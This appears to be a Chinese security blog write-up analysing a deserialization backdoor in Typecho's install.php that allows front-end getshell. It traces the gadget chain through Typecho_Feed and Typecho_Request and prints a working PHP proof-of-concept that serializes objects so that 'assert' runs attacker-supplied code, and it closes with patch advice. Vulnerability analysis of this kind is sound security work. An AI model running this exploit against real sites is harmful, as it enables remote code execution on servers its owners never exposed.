Typecho 反序列化漏洞导致前台 getshell

简介: 前言最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下:然后果断在文件第一行加上了die:今天下午刚好空闲下来,就赶紧拿出来代码看看。

前言


最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下:

95a1b6ac399ee535f86ead69d3e9de90.png-wh_



然后果断在文件第一行加上了die:

<?php die('404 Not Found!'); ?>

今天下午刚好空闲下来,就赶紧拿出来代码看看。


漏洞分析

先从install.php开始跟,229-235行:

<?php$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);?>


要让代码执行到这里需要满足一些条件:

//判断是否已经安装if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {    exit;
}// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) {    if (empty($_SERVER['HTTP_REFERER'])) {        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {        exit;
    }
}


首先是$_GET['finish']不为空,其次是referer需要是本站,比较容易实现。


继续跟反序列化的地方:

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));


首先使用Typecho_Cookieget方法获取__typecho_configget方法如下:

public static function get($key, $default = NULL){
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);    return is_array($value) ? $default : $value;
}


可以看到给$value赋值这一行,如果$_COOKIE里面没有就从$_POST里面获取,所以我们测试漏洞的时候直接POST也是可以的,不用每次设置Cookie了。


反序列化漏洞要利用势必离不开魔术方法,我之前收集了一些和PHP反序列化有关的PHP函数:

__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发


下面这一行中,如果我们反序列化构造一个数组,其中adapter设置为一个类,那么就可以触发这个类的__toString()方法。


然后我们全局搜索__toString()方法,发现两个有搞头的文件:

/var/Typecho/Feed.php
/var/Typecho/Db/Query.php


我这里跟一下Feed.php,查看Feed.php__toString()方法,其中第290行:

foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;    //省略........}


其中调用了$item['author']->screenName$item$this->_items的foreach循环出来的,并且$this->_itemsTypecho_Feed类的一个private属性。

我们可以利用这个$item来调用某个类的__get()方法,上面说过__get()方法是用于从不可访问的属性读取数据,实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中没有screenName就会执行该类的__get()方法,我们继续来全局搜索一下__get()方法。


发现/var/Typecho/Request.php中的__get()方法如下:

public function __get($key){    return $this->get($key);
}


跟进$this->get()方法如下:

public function get($key, $default = NULL){    switch (true) {        case isset($this->_params[$key]):
            $value = $this->_params[$key];            break;        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];            break;        default:
            $value = $default;            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;    return $this->_applyFilter($value);
}


这里没什么问题,但最后一行:

return $this->_applyFilter($value);


跟进一下发现:

private function _applyFilter($value){    if ($this->_filter) {        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }    return $value;
}


这个foreach里面判断如果$value是数组就执行array_map否则调用call_user_func,这俩函数都是执行代码的关键方法。而这里$filter$value我们几乎都是可以间接控制的,所以就可以利用call_user_func或者array_map来执行代码,比如我们设置$filter为数组,第一个数组键值是assert$value设置php代码,即可执行。


然后我们来完成Exploit如下:

<?phpclass Typecho_Feed{    const RSS1 = 'RSS 1.0';    const RSS2 = 'RSS 2.0';    const ATOM1 = 'ATOM 1.0';    const DATE_RFC822 = 'r';    const DATE_W3CDTF = 'c';    const EOL = "\n";    private $_type;    private $_items;    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(            'title' => '1',            'link' => '1',            'date' => 1508895132,            'category' => array(new Typecho_Request()),            'author' => new Typecho_Request(),
        );
    }
}class Typecho_Request{    private $_params = array();    private $_filter = array();    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(    'adapter' => new Typecho_Feed(),    'prefix' => 'typecho_');echo base64_encode(serialize($exp));


然后运行该php,使用输出的payload访问:

f0a4e9115ab3a4cafe728378bcd1639d.png-wh_



至此该漏洞复现成功。

修复方法

  • 官方今天发布了1.1Beta版本修复了该漏洞,升级该版本,链接:http://typecho.org/archives/133/


  • 也可以删除掉install.php和install目录。


目录
相关文章
|
4月前
|
安全 PHP 开发者
phpcms上传导致getshell详解及案例
通过上传功能实现getshell是攻击者常用的一种手段,针对PHP CMS或其他类型的CMS,开发者和管理员都应意识到安全风险,采取有效措施加以防范。只有不断更新知识库、审计网站安全和实施最佳安全实践,才能在这场永无止境的安全防御战中站稳脚跟。
27 0
|
Web App开发 XML 安全
DedeCMS存在文件包含漏洞导致后台getshell(CVE-2023-2928)
DedeCMS存在文件包含漏洞导致后台getshell,攻击者可通过该漏洞获取目标服务器控制权限,进行深度利用。
519 1
|
SQL 安全 关系型数据库
phpMyAdmin后台Getshell总结
phpMyAdmin后台Getshell总结
389 1
|
存储 SQL 监控
某xxphp网站后台存储型XSS漏洞分析
某xxphp网站后台存储型XSS漏洞分析
|
开发框架 安全 JavaScript
记一次web登录通杀渗透测试到GETSHELL——续篇
记一次web登录通杀渗透测试到GETSHELL——续篇
210 0
|
安全 PHP
pikachu靶场通过秘籍之PHP反序列化漏洞攻击
pikachu靶场通过秘籍之PHP反序列化漏洞攻击
206 0
|
安全 Shell 测试技术
Shopex V4.8.4|V4.8.5下载任意文件漏洞
利用前提是程序所应用的数据库服务器而且要是可以外连的,这个很关键。 自己搞站时候遇见的站,网上找不到该版本的漏洞,自己拿回源码读了一下。 找到一个漏洞,还是发出来吧。 读取任意文件漏洞: http://www.xx.com/shopadmin/index.php?ctl=sfile&act=getDB&p[0]=. . /. . /config/config.php 复制代码可以连上数据库。
2104 0
|
小程序 程序员 数据库
Web网站扫【小程序码】登录的技术实现!记得收藏,要用时别找不到!
我准备给彩虹屁老婆插件开发一个皮肤/模型下载网站,里面需要具备用户系统。但我又懒得去完整开发一套注册,用户激活机制。 不过当时我的第一反应是可以利用微信公众号的扫码登录,但公众号的扫码登录接口必须得是服务号才可以使用。服务号的注册又必须使用营业执照走企业认证,总之比较麻烦。恰好当时我的小程序猿创聚合助手已经发布了,所以我就在思考,能否直接利用小程序码的接口来自己设计一套扫码登录流程呢?
528 0
Web网站扫【小程序码】登录的技术实现!记得收藏,要用时别找不到!
|
SQL 存储 安全
【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)
【WEB安全】PHPMyAdmin后台GetShell姿势总结
456 0
【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)
|
SQL 安全 关系型数据库
【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)
【WEB安全】PHPMyAdmin后台GetShell姿势总结
541 0
【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)